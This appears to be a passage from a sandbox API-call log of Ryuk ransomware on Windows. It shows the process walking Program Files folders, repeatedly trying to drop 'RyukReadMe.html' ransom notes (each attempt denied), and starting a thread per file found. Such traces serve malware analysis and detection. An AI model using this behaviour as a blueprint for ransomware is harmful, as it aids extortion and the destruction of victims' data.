	[0158.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\designer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.243] GetLastError () returned 0x5
	[0158.244] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0158.244] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.244] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0158.244] SetLastError (dwErrCode=0x0) 
	[0158.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.244] GetLastError () returned 0x5
	[0158.244] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0158.245] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bf70
	[0158.245] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.245] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1
	[0158.245] SetLastError (dwErrCode=0x0) 
	[0158.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.246] GetLastError () returned 0x5
	[0158.246] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0158.246] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0158.448] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.448] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0158.448] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1
	[0158.448] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1
	[0158.448] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0
	[0158.448] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0158.448] SetLastError (dwErrCode=0x0) 
	[0158.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.449] GetLastError () returned 0x5
	[0158.449] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0158.449] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.449] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0158.449] SetLastError (dwErrCode=0x0) 
	[0158.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.449] GetLastError () returned 0x5
	[0158.449] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0158.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0158.450] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.450] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0158.450] SetLastError (dwErrCode=0x0) 
	[0158.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.451] GetLastError () returned 0x5
	[0158.451] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0158.451] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0158.608] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.608] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1
	[0158.608] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0
	[0158.608] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0158.609] SetLastError (dwErrCode=0x0) 
	[0158.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.609] GetLastError () returned 0x5
	[0158.609] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0158.609] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.609] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1
	[0158.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214
	[0158.613] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.614] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1
	[0158.614] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x7c, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1
	[0158.614] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1
	[0158.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210
	[0158.617] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.618] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1
	[0158.618] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0158.621] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.621] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0
	[0158.621] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0158.622] SetLastError (dwErrCode=0x0) 
	[0158.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.622] GetLastError () returned 0x5
	[0158.622] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0158.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.622] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0158.623] SetLastError (dwErrCode=0x0) 
	[0158.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.623] GetLastError () returned 0x5
	[0158.623] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0158.623] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0158.625] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.626] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1
	[0158.626] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0
	[0158.626] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0158.626] SetLastError (dwErrCode=0x0) 
	[0158.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.626] GetLastError () returned 0x5
	[0158.626] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0158.626] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.627] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0158.627] SetLastError (dwErrCode=0x0) 
	[0158.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.627] GetLastError () returned 0x5
